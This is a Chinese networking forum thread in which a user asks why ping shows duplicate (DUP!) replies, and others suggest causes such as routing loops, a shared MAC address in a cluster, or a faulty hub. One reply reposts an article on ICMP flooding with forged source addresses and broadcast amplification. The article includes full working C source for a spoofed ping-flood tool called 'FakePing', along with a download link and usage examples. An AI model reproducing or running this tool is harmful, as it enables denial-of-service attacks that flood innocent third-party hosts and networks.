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[精彩] 关于PING的DUP!问题


来源 chinaunix.net 酷勤网整理

当ping一个地址10.1.1.60时返回:
64 bytes from 10.1.1.60: icmp_seq=8 ttl=62 time=10 ms
64 bytes from 10.1.1.60: icmp_seq=8 ttl=62 time=12 ms (DUP!)
64 bytes from 10.1.1.60: icmp_seq=8 ttl=62 time=12 ms (DUP!)
64 bytes from 10.1.1.60: icmp_seq=8 ttl=62 time=13 ms (DUP!)
64 bytes from 10.1.1.60: icmp_seq=9 ttl=62 time=10 ms
64 bytes from 10.1.1.60: icmp_seq=9 ttl=62 time=12 ms (DUP!)
64 bytes from 10.1.1.60: icmp_seq=9 ttl=62 time=12 ms (DUP!)
64 bytes from 10.1.1.60: icmp_seq=9 ttl=62 time=13 ms (DUP!)
64 bytes from 10.1.1.60: icmp_seq=10 ttl=62 time=10 ms
64 bytes from 10.1.1.60: icmp_seq=10 ttl=62 time=11 ms (DUP!)
64 bytes from 10.1.1.60: icmp_seq=10 ttl=62 time=12 ms (DUP!)
64 bytes from 10.1.1.60: icmp_seq=10 ttl=62 time=13 ms (DUP!)
64 bytes from 10.1.1.60: icmp_seq=11 ttl=62 time=10 ms
64 bytes from 10.1.1.60: icmp_seq=11 ttl=62 time=13 ms (DUP!)
64 bytes from 10.1.1.60: icmp_seq=11 ttl=62 time=14 ms (DUP!)
64 bytes from 10.1.1.60: icmp_seq=11 ttl=62 time=19 ms (DUP!)

为何?



 zllovezlm 回复于:2004-12-14 15:27:38

:(  :(


 strongxxxx 回复于:2004-12-15 11:20:06

也想知道,顶?!


 zllovezlm 回复于:2004-12-15 11:40:30

help me


 耳朵 回复于:2004-12-15 17:32:21

我也想知道,高手解释一下啊


 kobbydf 回复于:2004-12-16 11:01:43

应该是重复DUPLICATE,同一个序号的ICMP包却收到了多个回应。
一般在PING网段广播地址才会出现这种情况,但你这里的地址应该不是广播地址,为什么会这样就不知道了


 zllovezlm 回复于:2004-12-27 13:27:22

谢谢了,help me!!!


 vyouzhi 回复于:2004-12-27 19:34:09

我也明了
哈哈
学会了呢


 shenwu 回复于:2004-12-28 10:01:33

一般是远端交换机或HUB流量超过负载,即堵塞


 noah007 回复于:2004-12-29 01:40:24

有俩台机子用一个IP


 edward 回复于:2004-12-29 08:51:52

应该是你的网络中存在环路路由,也就是到达你ping的主机有一条以上的路由路径,一般出现在使用static route的网络环境


 双眼皮的猪 回复于:2004-12-29 08:53:40

引用:原帖由 "noah007"]有俩台机子用一个IP
 发表:



不是用一个ip,应该是用一个mac...
有可能搞arp欺骗来着...
没让对方主机当掉...


 mjj 回复于:2004-12-30 16:31:01

交换机BUG重启就行了


 strongxxxx 回复于:2004-12-30 16:33:33

man ping:
Duplicate  packets should  never  occur, and seem to be caused by nappropriate link-level retransmissions.  Duplicates may  occur  in  many  situations  and  are rarely  (if  ever)  a good sign, although the presence of low levels of duplicates may not always be cause for alarm.

具体是什么原因还是不清楚


 kinglung 回复于:2005-01-06 13:38:52

看看这篇文章可能会得到一点启示!

伪装IP地址的洪水Ping攻击 (阅览 30074 次)

最近不少人又来号召大家一起去Ping死什么什么网站,不过从技术上来说,无论什么拒绝服务攻击方式,都需要满足一个条件:用最少的资源换取被攻击者最大的消耗。像这样大家一起去Ping不仅是奇怪的:用最大的资源换取对方最小的伤害;也是可笑的:人民战争大概属于50多年前的行为了,在互联网时代,并不是人多就能如何如何的。 

  我们今天是来说Ping的,Ping是通过发送ICMP报文(类型8代码0)探寻网络主机是否存在的一个工具,很久以前,一部分操作系统(例如win95),不能很好处理过大的Ping包,导致出现了Ping to Death的攻击方式(用大Ping包搞垮对方或者塞满网络),随着操作系统的升级,网络带宽的升级、计算机硬件的升级,目前,大Ping包基本上没有很大的攻击效果(分布式攻击除外),如果一定要使用Ping包去攻击别的主机,除非是利用TCP/IP协议的其他特性或者网络拓扑结构的缺陷放大攻击的力度(所谓正反馈) 

  正常情况下,Ping的流程是这样的: 

  主机A发送ICMP 8,0报文给主机B 

  主机B回送ICMp 0,0报文给主机A 

  因为ICMP基于无连结,所以就给了我们可乘之机,假设现在主机A伪装成主机C发送ICMP 8,0报文,结果会怎么样呢?显然,主机B会以为是主机C发送的报文而去 

  回应主机C,结构如下: 

   伪装为主机C 错误的回复 
主机A--------------------->;主机B------------------>;主机C 

  这种情况下,由于主机A只需要不断发送Ping报文而不需要处理返回的EchoReply,所以攻击力度成倍的增加,同时实际上主机B和主机C都是被进攻的目标,而且不会留下自己的痕迹,是一种隐蔽的一石二鸟的攻击方法。 

上面的方法用SOCK_RAW伪装IP就可以轻松实现,不过即使放大了两倍,对于比较强壮的操作系统和较大的带宽,也不见得有多大的效果,难道我们又来组织运动?不好吧,还是让敌人给我们放大好了,TCP/IP中有一个概念叫做广播,所谓广播的意思是说有一个地址,任何局域网内的主机都会接收发往这个地址的报文(就像电台广播一样),要是?难道?没错!如果我们往广播地址发送一个ICMP ECHO报文(就是Ping广播地址一下),结果会得到非常多的回应,以太网内每一个允许接收广播报文的主机都会回应一个ICMP_ECHOREPLY,如果你想试验,可以在unix的机器上Ping一下你局域网的广播地址,会看到很多回应的的dup包,就是重复的应答,windows系统上不会有这样的结果,因为微软的Ping程序不对多个回应进行解包,收到第一个包以后就丢弃后面的了,同样微软的系统默认也不回应广播地址的包,所以你最好在一个大量unix主机的局域网内测试。 

  说到这里,聪明的你肯定知道我想干什么了吧?嘿嘿嘿嘿,没错,当我们伪装成被攻击主机向一个广播地址发送Ping请求的时候,所有这个广播地址内的主机都会回应这个Ping请求,这样,相当于是N倍的攻击力度!(N=广播地址内回应Ping包的主机数量) 
  

  伪装为主机C 所有广播主机都会错误的回复 
主机A--------------------->;广播地址=========================>;主机C 


  我写了一个FakePing的工具,可以在Http://www.patching.net/shotgun/FakePing.exe下载。 

  使用方法是FakePing.exe FakeIP TargetIP [PacketSize],如果TargetIP是广播地址,那么FakeIP是被攻击目标。 

源码公布如下: 

typedef struct _iphdr //定义IP首部 

  unsigned char h_verlen; //4位首部长度,4位IP版本号 
  unsigned char tos; //8位服务类型TOS 
  unsigned short total_len; //16位总长度(字节) 
  unsigned short ident; //16位标识 
  unsigned short frag_and_flags; //3位标志位 
  unsigned char ttl; //8位生存时间 TTL 
  unsigned char proto; //8位协议 (TCP, UDP 或其他) 
  unsigned short checksum; //16位IP首部校验和 
  unsigned int sourceIP; //32位源IP地址 
  unsigned int destIP; //32位目的IP地址 
}IP_HEADER; 

// 定义ICMP首部 
typedef struct _ihdr 

  BYTE i_type; //8位类型 
  BYTE i_code; //8位代码 
  USHORT i_cksum; //16位校验和 
  USHORT i_id; //识别号(一般用进程号作为识别号) 
  USHORT i_seq; //报文序列号 
  ULONG timestamp; //时间戳 
}ICMP_HEADER; 

//CheckSum:计算校验和的子函数 
USHORT checksum(USHORT *buffer, int size) 

  unsigned long cksum=0; 
  while(size >;1) 
   { 
     cksum+=*buffer++; 
     size -=sizeof(USHORT); 
   } 
  if(size ) 
   { 
     cksum += *(UCHAR*)buffer; 
   } 
  cksum = (cksum >;>; 16) + (cksum & 0xffff); 
  cksum += (cksum >;>;16); 
  return (USHORT)(~cksum); 


//FakePing主函数 
int main(int argc, char **argv) 

  int datasize,ErrorCode,counter,flag; 
  int TimeOut=2000, SendSEQ=0, PacketSize=32; 
  char SendBuf[65535]={0}; 
  WSADATA wsaData; 
  SOCKET SockRaw=(SOCKET)NULL; 
  struct sockaddr_in DestAddr; 
  IP_HEADER ip_header; 
  ICMP_HEADER icmp_header; 
  char FakeSourceIp[20],DestIp[20]; 

//接受命令行参数 
  if (argc<3) 
   { 
     printf("FakePing by Shotgun
"); 
     printf(" This program can do Ping-Flooding from a FakeIP
"); 
     printf(" Using a BroadCast IP as the FakeIP will enhance the effect
"); 
     printf("Email:
"); 
     printf(" Shotgun@Xici.Net
"); 
     printf("HomePage:
"); 
     printf(" http://It.Xici.Net
"); 
     printf(" http://www.Patching.Net
"); 
     printf("USAGE:
FakePing.exe FakeSourceIp DestinationIp [PacketSize]
"); 
     printf("Example:
"); 
     printf(" FakePing.exe 192.168.15.23 192.168.15.255
"); 
     printf(" FakePing.exe 192.168.15.23 192.168.15.200 6400
"); 
     exit(0); 
   } 
  strcpy(FakeSourceIp,argv[1]); 
  strcpy(DestIp,argv[2]); 
  if (argc>;3) PacketSize=atoi(argv[3]); 
  if (PacketSize>;60000) 
   { 
     printf("Error! Packet size too big, must <60K
"); 
     exit(0); 
   } 
  printf("Now Fake %s Ping %s using Packet size=%d bytes
", 
  FakeSourceIp, DestIp, PacketSize); 
  printf(" Ctrl+C to Quit
"); 
//初始化SOCK_RAW 
  if((ErrorCode=WSAStartup(MAKEWORD(2,1),&wsaData))!=0) 
   { 
     fprintf(stderr,"WSAStartup failed: %d
",ErrorCode); 
     ExitProcess(STATUS_FAILED); 
   } 


  if((SockRaw=WSASocket(AF_INET,SOCK_RAW,IPPROTO_RAW,NULL,0,WSA_FLAG_OVERLAPPED))==INVALID_SOCKET) 
   { 
     fprintf(stderr,"WSASocket() failed: %d
",WSAGetLastError()); 
     ExitProcess(STATUS_FAILED); 
   } 
  flag=TRUE; 

//设置IP_HDRINCL以自己填充IP首部 
  ErrorCode=setsockopt(SockRaw,IPPROTO_IP,IP_HDRINCL,(char *)&flag,sizeof(int)); 
  if(ErrorCode==SOCKET_ERROR) 
   printf("Set IP_HDRINCL Error!
"); 
  __try 


//设置发送超时 
  ErrorCode=setsockopt(SockRaw,SOL_SOCKET,SO_SNDTIMEO,(char*)&TimeOut,sizeof(TimeOut)); 
  if (ErrorCode==SOCKET_ERROR) 
   { 
     fprintf(stderr,"Failed to set send TimeOut: %d
",WSAGetLastError()); 
     __leave; 
   } 
  memset(&DestAddr,0,sizeof(DestAddr)); 
  DestAddr.sin_family=AF_INET; 
  DestAddr.sin_addr.s_addr=inet_addr(DestIp); 

//填充IP首部 
  ip_header.h_verlen=(4<<4 | sizeof(ip_header)/sizeof(unsigned long)); //高四位IP版本号,低四位首部长度 
  ip_header.total_len=htons(sizeof(IP_HEADER)+sizeof(ICMP_HEADER)); //16位总长度(字节) 
  ip_header.ident=1; 

//16位标识 
  ip_header.frag_and_flags=0; 



//3位标志位 
  ip_header.ttl=128; 

//8位生存时间 TTL 
  ip_header.proto=IPPROTO_ICMP; 

//8位协议 (TCP, UDP 或其他) 
  ip_header.checksum=0; 

//16位IP首部校验和 
  ip_header.sourceIP=inet_addr(FakeSourceIp); //32 

位源IP地址 
  ip_header.destIP=inet_addr(DestIp); 

//32位目的IP地址 
//填充ICMP首部 
  icmp_header.i_type = 8; 
  icmp_header.i_code = 0; 
  icmp_header.i_cksum = 0; 
  icmp_header.i_id = 2; 
  icmp_header.timestamp = 999; 
  icmp_header.i_seq=999; 
  memcpy(SendBuf, &icmp_header, sizeof(icmp_header)); 
  memset(SendBuf+sizeof(icmp_header), 'E', PacketSize); 
  icmp_header.i_cksum = checksum((USHORT *)SendBuf, sizeof(icmp_header)+PacketSize); 
  memcpy(SendBuf,&ip_header,sizeof(ip_header)); 
  memcpy(SendBuf+sizeof(ip_header), &icmp_header, sizeof(icmp_header)); 
  memset(SendBuf+sizeof(ip_header)+sizeof(icmp_header), 'E', PacketSize); 
  memset(SendBuf+sizeof(ip_header)+sizeof(icmp_header)+PacketSize, 0, 1); 
//计算发送缓冲区的大小 
  datasize=sizeof(ip_header)+sizeof(icmp_header)+PacketSize; 
  ip_header.checksum=checksum((USHORT *)SendBuf,datasize); 

//填充发送缓冲区 
  memcpy(SendBuf,&ip_header, sizeof(ip_header)); 
  while(1) 
   { 
    Sleep(100); 
    printf("."); 
    for(counter=0;counter<1024;counter++) 
    { 
//发送ICMP报文 
     ErrorCode=sendto(SockRaw,SendBuf,datasize,0,(struct sockaddr*)&DestAddr,sizeof(DestAddr)); 
     if (ErrorCode==SOCKET_ERROR) printf("
Send Error:%d
",GetLastError()); 
    } 
   } 
}//End of try 

 __finally 
  { 
   if (SockRaw != INVALID_SOCKET) closesocket(SockRaw); 
   WSACleanup(); 
  } 
 return 0; 


  撰写本文的目的不是号召大家用FakePing工具去攻击美国站点,只是想略微展示一下用技术能做到什么蛮力做不到的东西。如果说大家一起Ping是义和团喊着“刀枪不入”去对抗大炮,FakePing也只能算得上是火枪而已,而美国已经研制出了航空母舰(一个操作系统的复杂度完全可以和航母媲美),难道用大刀、长枪、火枪去对抗航母?这样是很感人,也很悲壮,但是没有别的方法了?我们不能回去研制自己的战列舰?要是这次什么红客大战中二炮的专家们也出来参加Ping, 要是西昌的技术人员也去参加黑主页运动,我们不亡国才怪!
=========================
文章类型:转载


 kinglung 回复于:2005-01-06 13:41:17

我们在这里应该谢谢文章作者


 JohnBull 回复于:2005-01-06 18:48:22

引用:原帖由 "zllovezlm" 发表:
当ping一个地址10.1.1.60时返回:
64 bytes from 10.1.1.60: icmp_seq=8 ttl=62 time=10 ms
64 bytes from 10.1.1.60: icmp_seq=8 ttl=62 time=12 ms (DUP!)
64 bytes from 10.1.1.60: icmp_seq=8 ttl=62 time=12..........



你应该用嗅探器把回应包抓下来看看源MAC.


 Netranger110 回复于:2005-01-07 15:49:19

这个PING不是WIN系统的,而是UNIX系的。

一般来说当你在BSD中用PING去PING广播地址时,包将会被复制。DUP指duplicates

你PING的这个IP绝有可能就是你段中的广播地址,请自行用掩码校验一下。


 meteor_rain 回复于:2005-01-10 10:55:12

用了bond+HUB?


 zllovezlm 回复于:2005-01-13 14:59:59

在局域网中有双机,SCO UNIX,同连接在一个HUB上IP分别为10.1.1.58 10.1.1.59对外虚拟IP为10.1.1.60,在令一个局域网中有IBM AIX,2个局域网经过静态路由连接在一起,当我从AIX PING 10.1.1.60出现DUP!现象,我也以为是广域网的问题,于是58,59对PING,依旧出现dup!现象,并且局域网内一定没有重复IP和MAC地址,我也怀疑是HUB的问题,不知道大家觉得怎样?


 mjj 回复于:2005-01-19 08:02:10

肯定是HUB问题,我遇见过,解决了我的MSN :mjj135790@hotmail.com


 q1208c 回复于:2005-01-23 05:09:19

SCO 双机没玩过.

但 Linux 的双机是这样的, 两台机器共用了一个 MAC. 就是说可能是后启动那台机器会把自己的MAC设成先启动那台的. 因为这样才会保证系统的 HA 特性. 但一般不会是两台机器一起工作的. 看看你的双机是不是正常 吧.


 power plant 回复于:2005-02-10 10:21:44

在UNIX中ping一个IP地址后,用什么命令退出?


 边走边畅 回复于:2005-02-10 10:28:24

Ctrl + c 停止ping,还能停止好多命令……


 pippen 回复于:2005-03-06 21:23:15

有可能是ICMP REDIRECT造成的,在三层交换机作为核心的组网中如果规划不好可能产生这种情况


 antonio4853 回复于:2005-03-10 11:27:52

小D觉得是对方打环了,形成回路造成的后果。 :em06:


 annababy 回复于:2005-03-14 15:25:00

:D  :D 
有两个原因
1:局域网有回路.
2:你的/etc/tcp里面的配置手动改过,改错了,看一看你的广播地址是否
  改成了你所要ping的ip 地址了

我们以前也有这个问题,后来我发现后改过来了




原文链接:http://bbs.chinaunix.net/viewthread.php?tid=465794
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